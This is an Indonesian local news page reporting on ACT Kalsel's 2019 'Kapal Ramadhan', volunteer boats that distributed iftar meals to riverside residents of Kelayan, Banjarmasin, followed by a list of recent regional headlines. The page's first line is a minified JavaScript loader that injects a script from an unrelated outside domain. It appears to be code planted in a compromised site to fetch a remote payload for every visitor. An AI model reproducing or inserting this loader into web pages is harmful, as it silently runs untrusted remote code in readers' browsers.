(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
ACT KALSEL

Kapal Ramadhan Hadirkan Tawa di Muara Sungai Kelayan


BANJARMASIN, Sore itu (23/5/2019) sepanjang Sungai Kelayan Banjarmasin tampak dua perahu motor melintas, memecah kekhusyukan rutinitas warga. Orang tua yang sedang mandi dan mencuci baju, serta anak-anak yang sedang asyik berenang di sungai berair keruh itu. Mata mereka kerap mengekor seperti sedang bertanya “Siapa mereka dan mau apa?”.

Sepuluh anak muda yang berada di atas perahu itu memang baru pertama kali melintas di sana. Wajah sumringah mereka menjadi pemandangan asing bagi warga pinggiran Sungai Kelayan. Sepuluh anak muda itu merupakan relawan dari Masyarakat Relawan Indonesia (MRI) Banjarmasin dan Duta Damai Banjarmasin.

Koordinator Program Aksi Cepat Tanggap (ACT) Kalsel, Muhammad Budi Rahman Wahid menyebutkan, kegiatan sore itu merupakan implementasi dari Kapal Ramadhan. “Ini adalah Kapal Ramadhan, perdana kami layarkan di Banjarmasin. Insya Allah akan menyusuri Sungai Kelayan berbagi sajian buka puasa,” ujarnya.

Berangkat dari pelabuhan Pasar Lima, Kapal Ramadhan menuju ke Muara Sungai Kelayan membawa 200 paket sajian berbuka puasa. Sebagian juga dibagikan kepada warga yang sedang berada di bantaran sungai.

Setelah menempuh perjalanan sekitar tiga puluh menit, Kapal Ramadhan akhirnya sandar di ujung Sungai Kelayan, tepatnya jalan Simpang Limau RT 20 Kelurahan Tanjung Pagar, Banjarmasin Selatan. Ratusan warga menyambut dengan penuh suka cita.

Misliani, ibu rumah tangga berusia 45 tahun, sembari menggandeng sang cucu tampak terus tersenyum. Sekotak sajian berbuka puasa rupanya menjadi kebahagiaan tersendiri baginya. “Kami di sini kebanyakan buruh, jadi penghasilan ya pas-pasan. Senang sekali ada bantuan untuk berbuka puasa hari ini,” ucapnya.

Ketua RT, Musa Ogut juga menyampaikan ucapan terima kasih kepada para dermawan. “Semoga Allah limpahkan kesehatan dan dibukakan pintu rezeki yang seluas-luasnya,” do’a Musa untuk para dermawan.

Kelayan adalah nama daerah di Banjarmasin yang merupakan kawasan permukiman padat penduduk. Kawasan permukiman padat, dimana rata-rata bangunan terbuat dari kayu menyebabkan kawasan ini rawan kebakaran. Sebagian besar warga Kelayan berprofesi sebagai buruh. Khusus di jalan Simpang Limau, mereka menggantungkan hidup dengan menjadi buruh di Pasar Lima, yaitu dengan menjadi pengupas bawang. Untuk itulah sungai menjadi transportasi utama mereka sehari-hari sebagai sarana untuk mencapai lokasi kerja.

Hari itu sajian berbuka puasa yang diamanahkan ke ACT mampu menghadirkan tawa untuk warga Kelayan. Insya Allah Kapal Ramadan siap hadir menebar kebaikan dermawan. (ACT Kalsel)


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.